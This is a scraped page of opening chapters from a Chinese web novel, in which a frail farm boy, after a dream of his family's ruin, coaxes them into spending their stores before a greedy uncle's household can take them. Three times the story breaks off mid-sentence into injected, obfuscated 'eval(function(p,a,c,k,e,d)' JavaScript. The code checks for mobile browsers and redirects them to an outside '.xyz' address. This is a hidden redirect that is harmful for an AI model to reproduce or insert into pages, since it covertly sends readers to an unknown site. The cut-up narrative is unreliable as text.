《团宠小夫郎》 1. 我想吃肉 “宝……宝儿……” 一声声肝肠寸断的呼唤将沅宁从梦中叫醒,迷迷糊糊睁开眼,昏暗房间里逼仄又空荡,黄泥糊的墙壁裂开,露出了下方枯黄的竹木片,头顶罩着的纱幔却干洁如新,连团蚊子血都不曾有。 见着沅宁睁开眼,一旁干瘦的女人登时将他抱了起来,枯黄的发丝扎在沅宁细腻柔软的皮肤上,很痒,滚落在脖颈间的泪珠,有些烫。 沅宁颤颤巍巍地抬起无力的手臂,掌心拂过那一节节骨骼分明的后背,温暖的、伴随着低声啜泣轻微耸动着,那般真实的触感。 “阿娘……”干哑的嗓音浸上一层软绵绵的哭腔,沅宁开口,眼泪先一步掉下来,视线模糊得厉害。 “哎!阿娘在,阿娘在,宝儿不哭,宝儿没事了。”听到沅宁的哭声,女人倒是先止住了眼泪,直拍着怀里小哥儿的后背哄,语气着急又压着嗓子,心都快疼碎了。 被阿娘拿洗得干净发白,又搓得柔软的帕子擦干净脸,沅宁还有些回不过神,他重新被安置回了床上,身体因为虚弱连坐都坐不起来,倒在枕头上,却歪着头,目光紧紧盯着床前的女人不敢移开。 他害怕,害怕一个晃神,就再看不到阿娘了。 沅宁做了一个很长很长的梦。 梦里他及笄这年落了水,本就体弱的他一病半个多月,差点断了气,一家人掏空家底,把所有能变卖的都卖掉,才给他买着人参的根须,吊回来一条命。 可惜,这条命并没有维持多久,梦里的沅宁人虽然醒了过来,身体却一天比一天更虚弱,到后来,整日里醒着的时间不到两个时辰,病痛的感觉让他生不如死,可看着家里人憔悴担心的模样,沅宁又舍不得死。 一家人想尽了办法,从寻医问药到求神拜佛,甚至连冲喜的法子都用上了,却依旧没有留下沅宁的命。 婚后不到半个月,沅宁在某个晚上,彻底断了呼吸。 他感觉身体变得很轻,很轻,轻到整个人都飘了起来,不再有那股呼吸不过来的沉重感,人也变得轻松灵醒。 沅宁看见了自己瘦到只剩皮包骨头的身体,白皙的皮肤失去血色之后比宣纸更加苍白脆弱,父母哥哥们围在他身侧哭得伤心,那没见过几面的丈夫也悲伤得如同在哭泣。 沅宁死了,却又好像没有死。 他看着自己下葬后,大伯一家又来了,借走了他们家的奠仪把儿子送进书院,而为了给沅宁操持下葬,家里把最后的两块地也卖了,父亲和大哥给人当佃农,二哥卖掉了猎具去山中捉野物,每次下山都一身的伤,考上童生的丈夫也因此断了学,只一个人在家中备考,还时常帮忙家务。 家里欠着一堆的债没还完,却还总是往住上瓦房的大伯家送东西,小到几根野葱,大到鞣制好的野物皮子,一家人都盼着大伯家的儿子考上举人当了官,好扶持他们这帮穷亲戚。 然而等大伯的儿子考上了举人,一家子搬进城里,便从此失去了音讯…… 后来的事情,沅宁也是通过一道隐隐约约的天音知道的,原来大伯的儿子是一个话本子里面的主角,天生好命,所有人见了都会帮扶他。 堂哥也是靠着这个,自幼吃喝不愁,有二房家的白米和野味吃,天冷了有皮子穿,就连二房家里老三治病救人得来的人脉,都成了他进书院的筹码。还有那个入赘进二房家的哥儿婿,即使那小哥儿死了,也靠着苦读考上了秀才,他买了对方的文章送去书院,又被带着学生出来游学的学正看中,从此科举之路青云直上。 沅宁眼睁睁看着父母兄长被大伯一家吸干了血,等大伯一家离开了本县,一家人便如同不重要的背景板,很快便因过度劳累,早早离开了人世间。 然后沅宁就醒了,一切如同黄粱一梦,他看着自己昏睡了不到半个月已经变得有些瘪下去的手指,并不像梦里快死去时那般只剩一层干枯的皮。他还有心跳,他还在呼吸,他甚至那个感觉到温度和疼痛。 他还活着,一切都没到无可挽回的时候。 “小叔、喝水……”软软糯糯的声音在耳边响起,还没有床脚高的小家伙爬到矮凳上,小心翼翼地揭开笼在床头的帐子,将豁口最少的那个碗递到沅宁嘴边,短瘦的手指扶着一节晒干的稻杆,方便沅宁喝水。 沅宁看着这个黑黑瘦瘦的孩子,都已经五岁了,比寻常人家三岁的小孩儿还矮小,一双眼睛大得快从脸上掉下来,像只干巴巴的瘦猴子。 这是大哥生的小子,已经能帮着家里干活了,沅宁落水后因着要帮忙擦身料理,小孩儿就留在家里做家务。 沅宁并不觉得小家伙的模样丑,他心软成一片,看着还没饿死的小侄儿,微微勾了勾嘴角,含着那截稻杆喝了两口水。 水是温水,带着很淡很淡的甜味儿,应该是放了糖,沅宁喝了一半,看着眼巴巴守着他喝水的小侄儿,沙哑着嗓子开口:“小叔喝不下了,小光喝吧。” 沅宁开口,这个向来听话的小侄儿却摇摇头,神色无比认真:“阿奶说,要看着小叔,喝完,小叔身体好。” 小家伙说完,将碗摆着床头,踮起脚,伸长胳膊,小小的手掌在沅宁的心口前轻轻拍着。 “小光给小叔拍拍。” 沅宁觉得鼻子有些发酸,他没再坚持,被小侄儿哄着把糖水给喝了干净。他知道,只有自己的身体好起来,一家人才不会再被他拖累,他不会让梦境重蹈。 小侄儿看着沅宁把糖水喝光,比自己喝到了糖水还高兴,捧着碗一蹦一跳出去了,他知道那是小叔叔专用的碗,即使很想吃糖,也只敢出去之后用冷水涮一涮倒出来喝,嘬干净稻杆子里残留的糖水儿,又去柴房里再挑一根干净的稻杆,掰成一小截,用磨刀石把稻杆儿磨光,免得割到小叔的嘴巴。 大病未愈的沅宁喝了温糖水之后没多会儿就困了,等他又睡了一觉起来,房间里更加昏暗,分不出是什么时候。 因着生病不能过风,家里把小小的窗户洞也给封了大半,只留了一道缝儿通通风。 沅宁住的这间窄窄的屋子已经是全家最好的一间了,除了窗户那道缝儿,四周的墙壁都还算完整,家里主屋的墙裂了也不怎么修,下田回来挖把泥糊一下便凑合。屋顶也是草棚,只有沅宁的屋顶用树枝架过,下雨天除了这间房,哪个屋子都在漏雨,怎一个穷字了得。 即使是这样,因为从小娇生惯养,沅宁的皮肤也嫩得不像农户家的孩子,最容易被虫叮,还会因此生病,家里省吃俭用买了两张帐子给沅宁罩在床上,干干净净换得可勤。 家里为了给他买药连身为猎户的二哥打猎用的工具都卖了一半,也没舍得动给沅宁挡蚊虫的罩子。 干完家务活儿的阿娘坐到了床边,借着半道窗户缝儿透下来的光,正在用别人家要来的布头给小孙子改衣裳。 沅宁睡醒看了会儿,小声喊了一声:“阿娘。” 女人放下手里的活儿,擦着手走过来,撩起一截帐子,关切地问道:“宝儿?怎么了?是饿了吗?渴不渴,阿娘给你冲糖水喝。” 沅宁摇摇头,用食指去勾了勾女人的手指,满是厚茧却格外温暖的大手轻轻握住了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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等大锅饭出了锅,粉蒸肉也熟了,姜氏把粉蒸肉的肥肉给剔出来,放一半搅进肉汤饭里面,比他们家过节吃得都还好。 姜氏把大部分的肉都拿来做了粉蒸肉,只剩手指宽的细细一溜肉留下来,似是还舍不得,又切了一半瘦肉下来放到旁边,把剩下不到两指大的肉片成比纸页还薄的片儿,下到锅里煸出了油,再下下去辣椒炒香。 十天半个月闻不见荤腥的人家,今天连连传出肉香,尤其是那道小炒肉,腊肉的咸香混合着辣椒的清香,还有豆豉炒酥之后特别的香味,香得半个村子的人都忍不住咽口水。 这沅老二家穷是穷了点,但那做菜的手艺可半点不含糊,糟糠都能弄出花来。 姜氏还没把小炒肉乘进碗里,一道扭动的身子就挡住了门口的光,膀大腰圆的女人夹着嗓子走进来,往那大锅里头瞅了眼。 “呀,妹子今天做甚好吃的,搁老远就闻着味儿,把我们家令阳都馋得吃不香饭了。”女人说着,就拿起放在一旁的筷子,想要往锅里夹。 以往不消她说,这老实二房家的媳妇都要招呼她端一碗去,今天看着锅里没几片儿肉,怕是乘不出来半碗,她也不肯亏着自己白走一趟,筷子一伸就要夹肉。 女人手里烧黑了半截的筷子还没戳进锅里,姜氏就把她挡住,手上翻炒的动作没停。 “宝儿今朝醒了,指着名说想吃这口香香嘴,拢共没两口,大嫂若是想吃,我可把做法说与你听,这两片肉怕是不够令阳解馋的。” 2. 先开饭吧 大房媳妇被下了面子,啪地一下把筷子拍在了灶台上,气得猛吸了几口气,却没有骂出声儿。 因为她也清楚,这二房都是什么脾气,就算亏待自己也绝不会亏着那小哥儿。 一家子地里刨食的糙人,竟养出来个细皮嫩肉的哥儿,那皮面水灵的,比县城大户人家的公子哥儿还娇嫩。 家里大锅饭都是杂粮,咽下去都剌嗓子,沅老二家上上下下八口人,两块薄田种出来的肯定不够吃,偏生沅老二会种地,薄田也能种出粒粒饱满的大米,他们家就将大部分的大米给换成杂粮秕谷,只留每年最好的新米给小哥儿吃,让沅宁天天都能吃上白米饭。 以往二房给他们送菜送肉,都是先给沅宁那份留出来,女人没少在背地里骂老二家的给他们送剩饭剩菜,却也不敢当面说半句沅宁的不是,否则平日里再老实的一家子,都要跳起来跟他们拼命。 也不知道究竟是养了个哥儿,还是养的个祖宗! “这宝哥儿醒了,倒是件喜事儿,不过眼瞅着我们家令阳科考在即,白日里总说念着婶子这一手,家里实在是……” 姜氏见大房家的并没有继续盯着锅里的意思,态度倒是有了几分缓和:“令阳考试也是大事,这几日我照顾好了宝儿,抽空过来给他烧两个菜就是,也叫他安心读书。” 大房媳妇听到这二房家的就连这时候都要先伺候那半死不活的小哥儿才出门,挑了个白眼,还是憋着一口气:“那可真要麻烦弟妹了。” “不妨事,等令阳今后出息了,还要多靠他帮扶帮扶才是。”姜氏把小炒肉乘到碗里,仔细用帕子揩去碗底蹭到的水渍,大房媳妇实在看不得她这副做派,招呼都没打一个扭头就走了。 几个菜做得花费不了多少时间,主要是那一小碗白粥需得要多熬会儿,宝儿身子虚,即使是吃细米白面也得熬稠了,炖出米油才好消化。 姜氏把饭菜端去房间里,发现小哥儿已经又睡下了,唤了两声也没醒,便把饭菜又端去灶上温着,等孩子醒了再吃。 没等沅宁睡醒,倒是孩子他爹,还有大儿子先归家来了。 沅家二房还在老宅子那边就不受长辈待见,因着沅宁他爹不爱说讨巧话,爷奶从小就偏着大房那头,沅宁他大哥还在肚子里,大房就撺掇着把家给分了。 家里拢共三块地,一间老房子,两块薄地分给二房,又贴了十两现银,剩下的全都归大房。 说的倒是冠冕堂皇,老房子是要留下来赡养爹娘的,田产也只要了小头,可大房那边留下的田产,不仅是块儿肥田,面积还比两块位置偏远的薄田大,心都不知道偏多远去了。 沅宁他爹也老实,没吭声就把田地分了,虽说领着不大两块薄田,但沅宁他爹却很有一身伺候粮食的本事。许是从小就不受重视,只知道埋头干活儿,还真让他琢磨出几分种地的窍门。 每年沅家那两块薄地产出的粮食,倒是比村里那些肥田都多,尤其是那一手水稻养的,沉甸甸的穗子看着都喜人,打出来的大米又胖又白,秕谷都不见几粒。 只可惜那点儿白米再多,也养不起二房那一大家子人,每年秋收的时候,都会有村民去他们家换新米去,换的也不多,有时候几斤杂粮或者秕谷,才能换个半斤一斤的白米,换回去大家伙儿也不会立即吃,得逢年过节或者有贵客来家里,才会摆出来招待人,那叫一个有面子。 如今春种刚下,正是农忙的时候,想要庄稼种的好,不下功夫是不行的,就那么两块儿薄田,沅宁他爹和二哥愣是忙活了一天才回来。 家里今天做了肉菜,隔着院子都能闻着味儿。父子两人回来没馋那一口肉,倒是问姜氏怎的突然想起来把肉烧了,那是留给宝儿补身子的。 姜氏也不恼,和父子二人说了白日里沅宁醒过来的事情,两父子都很高兴,沅承显还让他大儿子赶紧去把三儿子叫过来,给宝儿看看身体如何了。 一家人都心系着沅宁,饭都没吃就把老三给叫了回来,沅宁被叫醒的时候,除了在山里打猎十天半个月才回来一趟的二哥,全家都整整齐齐地守在他的屋里。 装睡结果真睡着了的沅宁心里头一暖,主动将自己的手给伸出来:“三哥帮我瞧瞧吧。” 他还没力气说出多少话,靠在床头将手给伸出帘子来,一家人瞅着都松了一口气,又止不住地高兴。 孩子昏睡了这么久,今儿个总算是醒了,还乐意亲近他哥! 以往因着老三送去当学徒没多久,家里人都不敢让他给沅宁看病,生怕瞧不准了耽搁沅宁的身体。 今儿个原本也是想借喊老三回来的由头把乡医给请过来,但乡医下午就出门去了,说是隔壁村的谁出了点儿什么事,请城里的大夫来不及,晚上都回不来,这才只能让老三来看看。 比沅宁大不了几岁的青年踌躇着有些不敢去探小弟的脉搏,那一截雪白的腕子在昏暗的烛光下白得仿佛能发亮,如同冬日里的雪堆砌起来的,轻轻一碰就要化掉。 “哥?”沅宁见他三哥久久没有动作,轻轻叹了一口,“我感觉有些不大舒服。” 他这厢一说,他三哥立马什么都不纠结了,忙忙给他把了脉,即使隔着帐子都能感受到对方的关心。 仔仔细细把了良久,确认了一遍又一遍,谨慎得不能再谨慎了,老三才小心翼翼把沅宁的手给好好放回去,抿着唇酝酿了好半天,说:“娘,弟弟的身体需要慢慢调养,先开饭吧。” 沅宁一听,就知道他三哥这是给把出来了。 梦里的他缠绵病榻,没多久就离世了,却也看见了他这三哥后来的故事。 他三哥打小就聪明,记性也好,不到五岁就跟着阿娘去山里挖野菜,拿去城里卖。卖的时候碰上赶集,只是看了两眼隔壁摊子的老汉卖草药,就能把那些草药叫什么、什么作用全都记下来。 之后慢慢的,三哥去挖野菜的时候,也会带一些草药回来,但没去城里的医馆,而是拿到乡医那里换点沅宁用得上的药或者补剂,给沅宁养身体。 和村里的乡医打交道久了,竟是被收作了学徒,可乡医毕竟是乡医,那点子水平,三哥没几年就全学完了。少年为着治弟弟的病,攒了银钱去买来医书,不认识字,便去找里正、找识字的叔伯教,若不是他真有点本事在身上,乡医也不敢留他一个人在铺子里留诊。 只不过一山不容二虎,教会了徒弟饿着师父,那乡医表面良善,却担心沅家这三娃子医术比他好,被乡亲们知道。 这三娃子本来就好学,为着弟弟的身体又什么事都肯做,到时候钱都被他赚了去,他又拿什么来养家糊口?难不成要被这毛都没长齐的村娃子给赶到隔壁村去吗? 乡医又想要个学徒做事,又不想丢了饭碗,平日里各种暗示沅宁的三哥医术不行,乱治是会死人的,后来沅宁离世,沅三娃更是为了给家里还债展露了些功夫,吓得乡医偷偷弄了几起事故出来,让人吃了官司,方便赶走这个学徒。 如果今天来的是那个没有医德的乡医,沅宁是宁可以死相逼,都不会让那庸医给自己看诊的。 他更相信这个比他大不了几岁的三哥。 三哥显然是诊出来,他落水之后伤了根本,但又怕他伤心,才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126744|180090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 故意不说的。 在梦里,那庸医一开始并没有诊出来,耽误了沅宁的治疗,等后面发现的时候,沅宁的五脏六腑都已经坏掉,神仙来了都无力回天。 隔着帐子,沅宁看不仔细三哥脸上的表情,但他相信,能救他的,就只有三哥了。 阿娘把晚饭给端进了屋来,正在思考该去找什么书来给小弟治病的沅令舒闻着那炒肉的味道就蹙起了眉。 “娘,宝儿身体还虚弱,受不得辛辣刺激。” 姜氏有些不知所措地搓了搓自己满是老茧的手,言语间有些紧张和小心翼翼:“我想着宝儿躺了那么久,一直都没胃口……” 她并没有说是沅宁自己想吃的,反而生怕三儿子责怪小哥儿,倒将问题都揽在了自己身上。 “三哥,是我让阿娘烧的,我就想闻闻味儿。”沅宁的声音从帐子里面传出来,“闻着味道香了,倒是有一点子胃口。” 沅宁是骗人的,他光是闻到肉味就想吐,可是家里为了给他治病,连二哥的猎刀都卖了,怎么吃得起荤腥? 他不拿自己当借口,怕是那块腊肉最后被大伯娘拿什么借口给提了去,都落不到自家人的肚子里去。 沅宁忍着恶心,让阿娘把饭菜端进屋子里来,原本打算等阿娘做好饭,又借口自己吃不下,再让父母哥哥们吃的,现在三哥回来了,倒是不用他张罗。 大嫂生怕家里因此闹了不愉快,赶紧将那一碗煨得浓稠软烂的粥端起来:“宝儿吃得下是好事,我给他喂粥。” 沅令舒心事重重的,终究是没纠结太多这些。 帐子被撩开一道小缝儿,沅宁看着大嫂小心翼翼地端着粥进来,放在床头。 这天气开始转热,乡下蚊虫又多,入了夜里便也不怎么会掀开沅宁这帐子,生怕跑了虫子。 大嫂将沅宁给扶起来,靠到自己身上,每次只舀小半汤匙的粥,几粒儿煮开了花的米给他喂进口,十分耐心,等小半碗粥下肚,一家人都吃过饭了,大嫂还想沅宁再多吃一点,沅宁却说自己吃不下了。 他是真吃不下多少,却也知道自己不能任性,只有吃下去东西,他的身体才能康复,家里才不会被他拖累。 沅宁忍着难受吃了点粥就睡了下去,迷迷糊糊也不知道睡没睡着,等再清醒的时候,天色还没亮,床头立着个影子,是阿娘靠在帐子外头打盹儿,时时守着他,免得他要起夜或者喝水,没有个人应。 沅宁心疼得有些鼻酸,还没出声让阿娘回去休息,房门吱呀一声就打开了,清晨起来准备下田的阿爹摸着黑进来,手头拎着半刀腊肉。 男人压着嗓子,小声说道:“令舒说宝儿近来吃不得腊肉,我把这半块拿去大哥家,令阳要考试了,吃块肉补补,到时候若是考上,也能记得咱家的好。” 沅宁听到那家子白眼狼,下意识蹙起了眉,偏偏又听到阿娘说。 “也好,昨儿个大嫂就来说令阳想吃,左右这腊肉也肥,宝儿吃不下,不如等令舟回来用野货给宝儿换吊里脊,肉嫩,宝儿能嚼的动。” 话音刚落,夫妻二人就听见帐子里传来一声啜泣,顿时间噤了声,女人着急忙慌拉开帐子,借着隐隐月色查看沅宁的状况。 只见靠在床头清濯瘦削的人,低低垂着眼睫,泛着淡红的眼尾湿漉漉地闪烁着水光,更显几分可怜,那一滴剔透的晶莹泪珠从眼角滚落,划过细腻柔白的肌肤,如同天空中划过的流星,只留下一道闪着碎光的泪痕。 少年哭得如同一朵破碎的白花,默默流着眼泪,可把两夫妻的心都给疼碎了,哪里还记得要去送什么腊肉。 3. 家底花光计划 “宝儿?你怎么了?是不是哪里痛?哪里不舒服,告诉阿娘,阿娘这就叫三哥去城里请大夫过来。” 姜氏急得也顾不上自己因为做农活而粗糙的手会不会伤到那娇嫩的肌肤,急急将沅宁给抱起来,还和小时候那样,用手轻轻拍着小哥儿的后背哄着。 沅宁本就心疼母亲,如果说他一开始还有几分做戏的成分在——毕竟只要他一哭,阿爹就会放下手中一切的事情,这样就足够他想出办法怎么拖住阿爹去给大伯家送肉了。 许是生病了的缘故,沅宁的心思并没有平日里那般灵活,他只是想先把人给拖住,没想到被母亲一哄,那生病时做的噩梦里的画面就不断在心中浮现。 那么疼爱自己的阿娘,为了还家里安葬他欠下的债,没日没夜地做绣活,最后伤了眼睛,只能做些浆洗的活计,本就被生活蹉跎出老茧的手冻得通红肿胀,直到劳累过世,那双曾经灵巧的手都没一块好皮肉。 沅宁越想越是难过,越是有人温声细语地哄着他,他就越委屈,无声的流泪变为低声啜泣,最后竟然忍不住嚎啕大哭。 他好恨那个脆弱的自己,拖累了一家人没个善终,他真的好怕好怕梦中的事情会再度上演。 沅宁哭得上气不接下气,连隔壁屋宿着的大哥大嫂、三哥、小侄儿都被吵醒,摸着月色赶过来,关心他是不是哪里不舒服,大哥甚至去把家里的板车给拉了出来,裹着被子就要把沅宁拉去县城看病。 沅宁大哭了一场,把噩梦带来的恐惧全给哭了出来,他脑袋嗡嗡作响,面对大哥的询问却摇了摇头。 他的嗓子因为干哑肿胀而发不出声音,喂了两口糖水才堪堪缓过来,沅宁抽抽搭搭地止住了哭,这才小声嗫嚅着,说自己心疼阿爹阿娘,还有哥哥嫂嫂、小侄儿,因为他的病,家里人被他拖累。 一家子人正因为小哥儿对他们的心疼感觉欣慰,忙想说不会觉得他是拖累,就听沅宁说:“看到大家因为我瘦了一圈,我心里就好难过好难过,我宁可这么死掉,也不想看到阿爹阿娘,哥哥嫂嫂们这样一天天消瘦……” 沅宁的话还没说完,就被阿娘匆匆打断,不准他说丧气的话。家里人七嘴八舌地安慰他,一时间整个屋子里吵吵闹闹的,沅宁却觉得格外安心。 “是阿爹阿娘错了,让你病着还为我们操心,今天晚上,阿娘就把梁上挂着那块腊肉给煮了,以后咱们全家都好好吃饭,宝儿也一起好好吃饭,好好喝药,早点好起来,好不好?” 沅宁对于阿娘的这一番话十分满意,乖顺地靠在阿娘的怀里点了点头,这让一家子人都松一口气,又忍不住心里头发烫。 宝儿在乎他们、心疼他们,即使让他们把心掏出来,他们都愿意。 “大哥今天就去帮隔壁婶子家插秧,等忙完就换点大米回来,今晚全家都吃白米饭,好不好?” “三哥昨天也晒了药,这批药就不卖给医馆了,拿去换点补剂回来,大家都吃一吃,早点把身体补回来,不让宝儿担心,宝儿等会儿好好吃药,好吗?” 就连沅宁他爹都跟着开口:“宝儿不担心,阿爹等会儿去你大伯那边摘颗白菜回来,晚上咱们家吃腊肉炖白菜可好?” “嗯……”沅宁乖乖点头,他哭累了,有些困倦,薄薄的眼皮一搭一搭的,更让人觉得没法食言。 等好不容易把小哥儿哄睡着,一家人散去,沅令舒又给沅宁把了一次脉。 姜氏把被子给小哥儿掖好,又拉上帐子,这才拉着三儿子出门:“怎么样?看出来什么没?” 沅令舒表情有些严肃,但罕见地没立刻回答,过了好一会儿,才说:“其实,昨晚我翻了一整夜的医书。” 姜氏拍了拍胸口,顿时一副天都塌了的模样。 “阿娘你别急,宝儿的病还没有严重到那地步,只是……”沅令舒说出了自己的疑惑,“昨日我给宝儿把了脉,发现宝儿的身体并没有好转多少,然后又检查了药渣,里面只有些治伤风感冒、补气血的药。” “这……有什么不对的吗?” 沅令舒的神色更加严肃:“我也不知道是不是我把错了脉,周大夫总说我学艺不精,我原本也不是很确定,但昨夜我又翻了几遍医书,总觉得和宝儿的病情有出入,今日我去县里的医馆再确认一遍,实在不行还是得请医馆里的大夫过来瞧瞧,宝儿吃了这么多天的药……” 可是一点都没见好,反而越发地严重了。 姜氏听了儿子的话,一张脸上满是愁容,县里的医馆贵,出诊也贵,宝儿当时出气多进气少,已经没有精力去县里折腾一趟了,这才请的乡医,结果这病一直都拖着没好,她隐约也动了想换医生来看看的念头。 只是这县里大夫的出诊费就不得了,他们村到县里不算近,坐牛车都得一个多时辰,县里大夫光出诊费都要几百个钱,更别说抓药开药。 她咬了咬牙,还是开口:“娘那里……” “阿娘,您先暂时不用操心,县里医馆的大夫看我眼熟,实在不行还是能卖我一个面子,让我先赊一回账,大不了之后我再多晒些草药过去当利钱。” 姜氏虽然心疼小哥儿,但也不是完全不关心儿子们的:“这样会不会对你不好?” 沅令舒笑了笑:“怎么会对我不好,县里的大夫还总说想让我过去当学徒呢,会卖给我这个人情的。” 姜氏狠狠叹了口气:“好,好,但你也别太亏待自己,若是实在不够,阿娘来想办法,知道吗?” “知道的阿娘,那我先趁着时间早点去一趟县里,等会儿小弟醒了,先别让他喝之前的药了。” “好,娘让你嫂子蒸了粗粮馒头,马上快出锅了,你带着路上吃,别让宝儿担心。” “嗯,我去厨房拿。” 农村人一般只吃两顿,中午和晚上,早上喝点水也就过去了。但看着沅宁今天的样子,一家人难得奢侈了一把,恨不得当天就把身上的肉给吃回来。 沅宁睡了一觉醒来,已经是中午的时候了,他先喝了半碗糖水,靠在床头消化了好一会儿,阿娘才将黑乎乎的药汤给端进来。 不好,忘了这茬。 他正想找借口推掉这药,就听阿娘说:“这是你哥给你把了脉,又去县城里问了大夫,给你重新抓的,你三哥说这个药吃了能好得快些,就是有点苦。” 沅宁抿了抿唇,把话给咽了回去,乖乖坐在床边等着喝药,他身体还没恢复,没办法一口气将那黑乎乎又涩又苦的药全吞下,还得用勺子慢慢吃,苦味儿都快把他的牙齿给腌入味了。 但一旁的小侄儿扒在床脚看着他喝,沅宁还得忍住不表现出来。 等他喝了半碗下去,实在是再喝不动了,不是他怕苦,是他的胃口只有那么点儿大,米粥都吃不下半碗。 “阿娘,这药汤您给我放灶上温着吧,我等会儿再喝剩下的。” 姜氏知道小哥儿最怕苦,却还是这么乖乖地吃药,看得出来是真的心疼一家人,才表现得如此乖巧,这更让她坚定了要早早把家里人都重新喂胖的决心。 不知道什么时候跑掉的小家伙见到奶奶出去了,跟小耗子似的蹿了进来,钻进了沅宁的帐子。 “小叔,吃糖。” 今年春节是在大房那边过的,虽然经常从二房这边拿东西,但逢年过节总要做做样子,小孩子每个人过年都分到了几颗糖果。 小家伙自己都舍不得吃,一颗糖要吃好久,只隔几天才会奖励自己拿出来舔一舔,却看到小叔叔吃了很苦很苦的药,拿出来一整颗自己没动过的糖,给小叔叔解药味儿。 “小光乖,小叔吃不了这么甜的糖。”沅宁摸了摸小家伙的头,他知道自己说不吃,小侄儿还是会给他,索性说自己吃不了。 翻了年才满五岁的小家伙学着他爷的模样把眉头皱得紧紧的,然后把那颗糖给仔仔细细包好:“那等小叔好起来再给小叔吃,小叔要快点好起来。” 沅宁的嘴角不禁挂上一丝笑容:“好,小叔保证,一定会早点好起来。” 小家伙这才松一口气,抱着糖离开了。 沅宁心里暖洋洋的,似乎连嘴里的药味都不觉得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16126745|180090||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 苦了,他倒下睡了一会儿,也不知道是不是换了药之后的确有效,这一觉他睡得很沉很沉,没有再做光怪陆离的噩梦,一觉睡醒甚至觉得身体都舒坦了许多。 “阿娘,晚上我先吃药吧。”沅宁主动说,“我感觉吃了哥哥开的药,身体舒服了好多。” 女人一听沅宁这样说,眼眶就湿润了,连忙去厨房把温着的药给端了过来。 沅宁一勺一勺吃完药,重新靠在床头,等汤药慢慢流进肚子里。他正在那儿消化呢,一双小手就出现在了床头,小侄儿用干干净净的帕子,包着几颗野果子,知道他吃不得不干净的,小家伙仔细把每一颗野果都用井水洗得干干净净,不见半点灰尘泥点。 软哒哒的声音从只冒出来的半个头顶下面传来:“小叔,吃,甜!” 沅宁心软成一片:“小叔吃不了这么多,小光坐上来,跟小叔一起吃好不好?” 小家伙垫着脚,露出的半张脸上,黑溜溜的眼睛看着他摇摇头。 “留着,明天吃。” 沅宁对小家伙笑了笑:“明天就不新鲜了,今天吃好不好。” 小侄儿抿着嘴思考了好久,大概是想到今天早上的事情,跟个小大人似的,认真点点头,然后爬到床上了。 叔侄俩你一颗我一颗的,把不多的果子给分完了。 分明吃了药,又吃了几颗果子,晚饭的时候沅宁还是进了快半碗米粥。家里人看到他身体恢复心里高兴,将一大锅饭扫得干干净净,连炖菜锅底的油都蘸着吃了个精光。 一家人很久没吃这么饱过了,小侄儿还跑过来给沅宁摸他胀得圆鼓鼓的肚子,闹得大人们好一通乐,家里很久没有传出来这么愉快的笑声了。 第二天,因为二房这边连着两天都传出来肉味儿,一大早,大房的媳妇就找了个借口过来,结果进厨房一看,什么肉啊菜啊,全都被这家人吃得精光!就剩点儿玉米碴子和粗粮,那玩意儿不是荒年谁吃得下去啊! 大房媳妇气得直跳脚,没占着便宜,想捡几根柴回去,发现连柴火都被烧光了,离开的时候脸比锅底儿还黑。 沅宁的身体在三哥的调理下渐渐恢复了许多,也摸出来一个道理—— 只要他哄着家里人把好的吃穿都用光,大房那头想从他家薅什么都薅不走! 眼见着府试将近,大房那边也不作妖了,全心全意为着他们那好大儿考试,沅宁也不用整日将心思花在如何把“家底花光”这件事上。 经过一个多月的调理,沅宁虽然还没彻底康复,却也能够正常进食,不再整日里都处于昏睡的状态了。 他身体底子差,经过这一病,整整一个月的折腾,才只好了一半,沅宁也很知足了。 期间二哥打猎回来了两趟,沅宁不想让大房那边占便宜,便说自己想看书,让二哥给他弄了本千字文回来,没事就教着小侄儿认认字。 本来他那新换的药就贵,家里又被他“监督”着陪他吃饭,买完书一个多的子儿都没有~ 虽然过得比生病之前还拮据,每天米缸都要见底一次,但一家人竟然跟着沅宁吃得,脸颊上的肉都丰盈了些。 这日沅宁正坐在床头教小侄儿认字,上午的阳光不错,沅宁身体好一些之后,就让阿娘拆了窗户上的挡板,方便阳光照进来,他好久不出门,多通风晒晒太阳也是好的。 越是在房间里关得久了,就越是觉得阳光珍贵,沅宁被太阳晒得暖洋洋的,整个人都透出几分惬意。 忽的听见门外有声响,阿娘嘴里说话的语气都带着几分惊喜,随后那声音越来越近,一个身量颀长、气质颇为温文尔雅,身上透着几分书生气的男子就被阿娘拉着走到了房门口。 沅宁抬眼看过去,光落在眼底略微有些晃眼,他都还没仔细看清那人的模样,就听到男子重重的吸气声,好长好长,然后来人扭头就走出了房门。 沅宁耸动鼻子嗅了嗅,房间被阿娘打扫得很干净,连药味都没有,应该没有奇怪的味道才对。 他微微歪了歪脑袋,发出疑惑的声音:“嗯?” 4. 直男不直了 方衍年也不敢相信穿越这么时髦的事情竟然能轮得上自己,这年头谁还没看过几篇网文啊,他一个男频7级会员,看书都能享最高折扣。 没看过猪跑还没吃过猪肉么? 